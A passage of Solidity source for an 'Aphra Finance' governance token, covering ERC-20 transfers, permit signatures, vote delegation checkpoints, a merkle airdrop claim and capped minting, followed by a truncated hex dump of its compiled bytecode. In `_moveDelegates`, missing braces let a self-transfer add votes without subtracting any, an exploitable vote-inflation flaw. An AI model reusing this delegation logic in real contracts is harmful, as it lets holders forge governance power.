event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/* ///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error NoArrayParity();
error SignatureExpired();
error NullAddress();
error InvalidNonce();
error NotDetermined();
error InvalidSignature();
error Uint32max();
error Uint96max();
/* ///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public constant decimals = 18;
/* ///////////////////////////////////////////////////////////////
ERC- 20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/* ///////////////////////////////////////////////////////////////
EIP - 2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)');
uint256 internal INITIAL_CHAIN_ID;
bytes32 internal INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/* ///////////////////////////////////////////////////////////////
DAO STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant DELEGATION_TYPEHASH =
keccak256('Delegation(address delegatee,uint256 nonce,uint256 deadline)');
mapping(address => address) internal _delegates;
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
mapping(address => uint256) public numCheckpoints;
struct Checkpoint {
uint32 fromTimestamp;
uint96 votes;
}
/* ///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
function _init(
string memory name_,
string memory symbol_
) internal virtual {
name = name_;
symbol = symbol_;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator();
}
/* ///////////////////////////////////////////////////////////////
ERC - 20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates(msg.sender), delegates(to), amount);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max)
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(delegates(from), delegates(to), amount);
emit Transfer(from, to, amount);
return true;
}
/* ///////////////////////////////////////////////////////////////
EIP - 2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0) || recoveredAddress != owner) revert InvalidSignature();
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator();
}
function _computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256('1'),
block.chainid,
address(this)
)
);
}
/* ///////////////////////////////////////////////////////////////
DAO LOGIC
//////////////////////////////////////////////////////////////*/
function delegates(address delegator) public view virtual returns (address) {
address current = _delegates[delegator];
return current == address(0) ? delegator : current;
}
function getCurrentVotes(address account) public view virtual returns (uint256) {
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
unchecked {
uint256 nCheckpoints = numCheckpoints[account];
return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
}
function delegate(address delegatee) public virtual {
_delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, deadline));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR(), structHash));
address signatory = ecrecover(digest, v, r, s);
if (signatory == address(0)) revert NullAddress();
// cannot realistically overflow on human timescales
unchecked {
if (nonce != nonces[signatory]++) revert InvalidNonce();
}
_delegate(signatory, delegatee);
}
function getPriorVotes(address account, uint256 timestamp) public view virtual returns (uint96) {
if (block.timestamp <= timestamp) revert NotDetermined();
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) return 0;
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
unchecked {
if (checkpoints[account][nCheckpoints - 1].fromTimestamp <= timestamp)
return checkpoints[account][nCheckpoints - 1].votes;
if (checkpoints[account][0].fromTimestamp > timestamp) return 0;
uint256 lower;
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
uint256 upper = nCheckpoints - 1;
while (upper > lower) {
// this is safe from underflow because `upper` ceiling is provided
uint256 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromTimestamp == timestamp) {
return cp.votes;
} else if (cp.fromTimestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
}
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
_delegates[delegator] = delegatee;
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
emit DelegateChanged(delegator, currentDelegate, delegatee);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal virtual {
if (srcRep != dstRep && amount != 0)
if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
function _writeCheckpoint(
address delegatee,
uint256 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal virtual {
unchecked {
// this is safe from underflow because decrement only occurs if `nCheckpoints` is positive
if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromTimestamp == block.timestamp) {
checkpoints[delegatee][nCheckpoints - 1].votes = _safeCastTo96(newVotes);
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(_safeCastTo32(block.timestamp), _safeCastTo96(newVotes));
// cannot realistically overflow on human timescales
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/* ///////////////////////////////////////////////////////////////
MINT / BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// cannot overflow because the sum of all user
// balances can't exceed the max uint256 value
unchecked {
balanceOf[to] += amount;
}
_moveDelegates(address(0), delegates(to), amount);
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// cannot underflow because a user's balance
// will never be larger than the total supply
unchecked {
totalSupply -= amount;
}
_moveDelegates(delegates(from), address(0), amount);
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
/* ///////////////////////////////////////////////////////////////
SAFECAST LOGIC
//////////////////////////////////////////////////////////////*/
function _safeCastTo32(uint256 x) internal pure virtual returns (uint32) {
if (x > type(uint32).max) revert Uint32max();
return uint32(x);
}
function _safeCastTo96(uint256 x) internal pure virtual returns (uint96) {
if (x > type(uint96).max) revert Uint96max();
return uint96(x);
}
}
contract AphraToken is DAOToken {
/// ============ Immutable storage ============
bytes32 public immutable merkleRoot;
/// ============ Mutable storage ============
mapping(address => bool) public hasClaimed;
address public minter;
uint256 public mintingAllowedAfter;
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
uint8 public constant mintCap = 3;
/// ============ Errors ============
error NotMinter();
error NoMintYet();
error MintCapExceeded(uint256 maxAllowed, uint256 mintAttempt);
error AlreadyClaimed();
error NotInMerkle();
event MinterChanged(address indexed minter, address indexed newMinter);
event Claim(address indexed to, uint256 amount);
constructor(bytes32 merkleRoot_,
address minter_,
uint256 mintingAllowedAfter_
) {
_init("Aphra Finance", "APHRA");
merkleRoot = merkleRoot_;
minter = minter_;
mintingAllowedAfter = mintingAllowedAfter_;
emit MinterChanged(address(0), minter);
}
function setMinter(address newMinter_) external {
if (msg.sender != minter) revert NotMinter();
minter = newMinter_;
emit MinterChanged(newMinter_, minter);
}
function mint(uint256 rawAmount) external {
if (msg.sender != minter) revert NotMinter();
if (block.timestamp <= mintingAllowedAfter) revert NoMintYet();
// record the mint
mintingAllowedAfter = block.timestamp + minimumTimeBetweenMints;
uint256 mintableBalance = ((totalSupply * mintCap) / 100);
// mint the amount
if (rawAmount > mintableBalance) revert MintCapExceeded(mintableBalance, rawAmount);
// mint the amount
_mint(minter, rawAmount);
}
function claim(address to, uint256 amount, bytes32[] calldata proof) external {
// Throw if address has already claimed tokens
if (hasClaimed[to]) revert AlreadyClaimed();
// Verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(to, amount));
bool isValidLeaf = MerkleProof.verify(proof, merkleRoot, leaf);
if (!isValidLeaf) revert NotInMerkle();
// Set address to claimed
hasClaimed[to] = true;
// Mint tokens to address
_mint(to, amount);
// Emit claim event
emit Claim(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80635c19a95c1161010f578063a0712d68116100a2578063d505accf11610071578063d505accf146105d1578063dd62ed3e146105ed578063e7a324dc1461061d578063fca3b5aa1461063b576101e5565b8063a0712d6814610539578063a9059cbb14610555578063b4b5ea5714610585578063c3cda520146105b5576101e5565b806376c71ca1116100de57806376c71ca11461049d578063782d6fe1146104bb5780637ecebe00146104eb57806395d89b411461051b576101e5565b80635c19a95c146103f15780636fcfff451461040d57806370a082311461043d57806373b2e80e1461046d576101e5565b806330adf81f116101875780633d13f874116101565780633d13f8741461036b57806342966c6814610387578063587cde1e146103a35780635c11d62f146103d3576101e5565b806330adf81f146102f357806330b36cef14610311578063313ce5671461032f5780633644e5151461034d576101e5565b80630cdfebfa116101c35780630cdfebfa1461025657806318160ddd1461028757806323b872dd146102a55780632eb4a7ab146102d5576101e5565b806306fdde03146101ea5780630754617214610208578063095ea7b314610226575b600080fd5b6101f2610657565b6040516101ff9190612786565b60405180910390f35b6102106106e5565b60405161021d91906127e9565b60405180910390f35b610240600480360381019061023b9190612870565b61070b565b60405161024d91906128cb565b60405180910390f35b610270600480360381019061026b9190612870565b6107fd565b60405161027e92919061292c565b60405180910390f35b61028f610856565b60405161029c9190612964565b60405180910390f35b6102bf60048036038101906102ba919061297f565b61085c565b6040516102cc91906128cb565b60405180910390f35b6102dd610ac3565b6040516102ea91906129eb565b60405180910390f35b6102fb610ae7565b60405161030891906129eb565b60405180910390f35b610319610b0b565b6040516103269190612964565b60405180910390f35b610337610b11565b6040516103449190612a22565b60405180910390f35b610355610b16565b60405161036291906129eb565b60405180910390f35b61038560048036038101906103809190612aa2565b610b37565b005b6103a1600480360381019061039c9190612b16565b610d47565b005b6103bd60048036038101906103b89190612b43565b610d54565b6040516103ca91906127e9565b60405180910390f35b6103db610dfd565b6040516103e89190612b70565b60405180910390f35b61040b60048036038101906104069190612b43565b610e05565b005b61042760048036038101906104229190612b43565b610e12565b6040516104349190612964565b60405180910390f35b61045760048036038101906104529190612b43565b610e2a565b6040516104649190612964565b60405180910390f35b61048760048036038101906104829190612b43565b610e42565b60405161049491906128cb565b60405180910390f35b6104a5610e62565b6040516104b29190612a22565b60405180910390f35b6104d560048036038101906104d09190612870565b610e67565b6040516104e29190612b8b565b60405180910390f35b61050560048036038101906105009190612b43565b611210565b6040516105129190612964565b60405180910390f35b610523611228565b6040516105309190612786565b60405180910390f35b610553600480360381019061054e9190612b16565b6112b6565b005b61056f600480360381019061056a9190612870565b61142d565b60405161057c91906128cb565b60405180910390f35b61059f600480360381019061059a9190612b43565b61155c565b6040516105ac9190612964565b60405180910390f35b6105cf60048036038101906105ca9190612bfe565b611637565b005b6105eb60048036038101906105e69190612c8b565b61184b565b005b61060760048036038101906106029190612d2d565b611b38565b6040516106149190612964565b60405180910390f35b610625611b5d565b60405161063291906129eb565b60405180910390f35b61065560048036038101906106509190612b43565b611b81565b005b6000805461066490612d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461069090612d9c565b80156106dd5780601f106106b2576101008083540402835291602001916106dd565b820191906000526020600020905b8154815290600101906020018083116106c057829003601f168201915b505050505081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107eb9190612964565b60405180910390a36001905092915050565b6009602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60025481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109955781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461098d9190612dfd565b925050819055505b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109e49190612dfd565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550610a53610a4485610d54565b610a4d85610d54565b84611cc8565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ab09190612964565b60405180910390a3600190509392505050565b7f70a85e9e58cf7fab1406e94c0602a039da1b454d3b5ca2a51dea6001b6320d4d81565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600d5481565b601281565b60006005544614610b2e57610b29611f74565b610b32565b6006545b905090565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bbb576040517f646cf55800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008484604051602001610bd0929190612e9a565b6040516020818303038152906040528051906020012090506000610c56848480806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050507f70a85e9e58cf7fab1406e94c0602a039da1b454d3b5ca2a51dea6001b6320d4d84612000565b905080610c8f576040517f8a585be200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610cf18686612017565b8573ffffffffffffffffffffffffffffffffffffffff167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d486604051610d379190612964565b60405180910390a2505050505050565b610d5133826120fb565b50565b600080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610df35780610df5565b825b915050919050565b6301e1338081565b610e0f33826121df565b50565b600a6020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b600b6020528060005260406000206000915054906101000a900460ff1681565b600381565b6000814211610ea2576040517fb1998e3000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610ef957600091505061120a565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018403815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610fe357600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018303815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1691505061120a565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561105e57600091505061120a565b6000806001830390505b8181111561119857600060028383038161108557611084612ec6565b5b04820390506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff1614156111705780602001519550505050505061120a565b86816000015163ffffffff16101561118a57819350611191565b6001820392505b5050611068565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60076020528060005260406000206000915090505481565b6001805461123590612d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461126190612d9c565b80156112ae5780601f10611283576101008083540402835291602001916112ae565b820191906000526020600020905b81548152906001019060200180831161129157829003601f168201915b505050505081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461133d576040517ff8d2906c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600d544211611378576040517f8f34156a00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6301e1338063ffffffff164261138e9190612ef5565b600d8190555060006064600360ff166002546113aa9190612f4b565b6113b49190612fa5565b9050808211156113fd5780826040517ff85c56560000000000000000000000000000000000000000000000000000000081526004016113f4929190612fd6565b60405180910390fd5b611429600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612017565b5050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461147e9190612dfd565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506114ed6114de33610d54565b6114e785610d54565b84611cc8565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161154a9190612964565b60405180910390a36001905092915050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114156115b1576000611621565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018303815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b6bffffffffffffffffffffffff16915050919050565b83421115611671576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60007f76995fe87be88484696cfd6792aeb71e0b61f81dfa3b641e5adffa38a0d3b8e28787876040516020016116aa9493929190612fff565b60405160208183030381529060405280519060200120905060006116cc610b16565b826040516020016116de9291906130bc565b60405160208183030381529060405280519060200120905060006001828787876040516000815260200160405260405161171b94939291906130f3565b6020604051602081039080840390855afa15801561173d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117b0576040517fe99d5ac500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558814611836576040517f756688fe00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b611840818a6121df565b505050505050505050565b83421115611885576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600061188f610b16565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9898989600760008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558a60405160200161191796959493929190613138565b6040516020818303038152906040528051906020012060405160200161193e9291906130bc565b60405160208183030381529060405280519060200120905060006001828686866040516000815260200160405260405161197b94939291906130f3565b6020604051602081039080840390855afa15801561199d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611a1057508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611a47576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b86600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611b279190612964565b60405180910390a350505050505050565b6004602052816000526040600020602052806000526040600020600091509150505481565b7f76995fe87be88484696cfd6792aeb71e0b61f81dfa3b641e5adffa38a0d3b8e281565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c08576040517ff8d2906c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f660405160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d05575060008114155b15611e3d57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e3c576000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080821415611d93576000611e0c565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611de19190612dfd565b815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b6bffffffffffffffffffffffff16905060008382611e2a9190612dfd565b9050611e388684848461232a565b5050505b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f6f576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080821415611ec6576000611f3f565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f149190612dfd565b815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b6bffffffffffffffffffffffff16905060008382611f5d9190612ef5565b9050611f6b8584848461232a565b5050505b505050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051611fa69190613238565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611fe595949392919061324f565b60405160208183030381529060405280519060200120905090565b60008261200d85846125c5565b1490509392505050565b80600260008282546120299190612ef5565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550612091600061208b84610d54565b83611cc8565b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ef9190612964565b60405180910390a35050565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461214a9190612dfd565b925050819055508060026000828254039250508190555061217561216d83610d54565b600083611cc8565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121d39190612964565b60405180910390a35050565b60006121ea83610d54565b905081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506122b48183600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc8565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4505050565b600083141580156123a6575042600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018603815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561243d576123b48161263a565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018603815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061256f565b60405180604001604052806124514261268c565b63ffffffff1681526020016124658361263a565b6bffffffffffffffffffffffff16815250600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018301600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72483836040516125b7929190612fd6565b60405180910390a250505050565b60008082905060005b845181101561262f5760008582815181106125ec576125eb6132a2565b5b6020026020010151905080831161260e5761260783826126d6565b925061261b565b61261881846126d6565b92505b508080612627906132d1565b9150506125ce565b508091505092915050565b60006bffffffffffffffffffffffff8016821115612684576040517f39a21c5600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b819050919050565b600063ffffffff80168211156126ce576040517fec314e4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b819050919050565b600082600052816020526040600020905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561272757808201518184015260208101905061270c565b83811115612736576000848401525b50505050565b6000601f19601f8301169050919050565b6000612758826126ed565b61276281856126f8565b9350612772818560208601612709565b61277b8161273c565b840191505092915050565b600060208201905081810360008301526127a0818461274d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127d3826127a8565b9050919050565b6127e3816127c8565b82525050565b60006020820190506127fe60008301846127da565b92915050565b600080fd5b600080fd5b612817816127c8565b811461282257600080fd5b50565b6000813590506128348161280e565b92915050565b6000819050919050565b61284d8161283a565b811461285857600080fd5b50565b60008135905061286a81612844565b92915050565b6000806040838503121561288757612886612804565b5b600061289585828601612825565b92505060206128a68582860161285b565b9150509250929050565b60008115159050919050565b6128c5816128b0565b82525050565b60006020820190506128e060008301846128bc565b92915050565b600063ffffffff82169050919050565b6128ff816128e6565b82525050565b60006bffffffffffffffffffffffff82169050919050565b61292681612905565b82525050565b600060408201905061294160008301856128f6565b61294e602083018461291d565b9392505050565b61295e8161283a565b82525050565b60006020820190506129796000830184612955565b92915050565b60008060006060848603121561299857612997612804565b5b60006129a686828701612825565b93505060206129b786828701612825565b92505060406129c88682870161285b565b9150509250925092565b6000819050919050565b6129e5816129d2565b82525050565b6000602082019050612a0060008301846129dc565b92915050565b600060ff82169050919050565b612a1c81612a065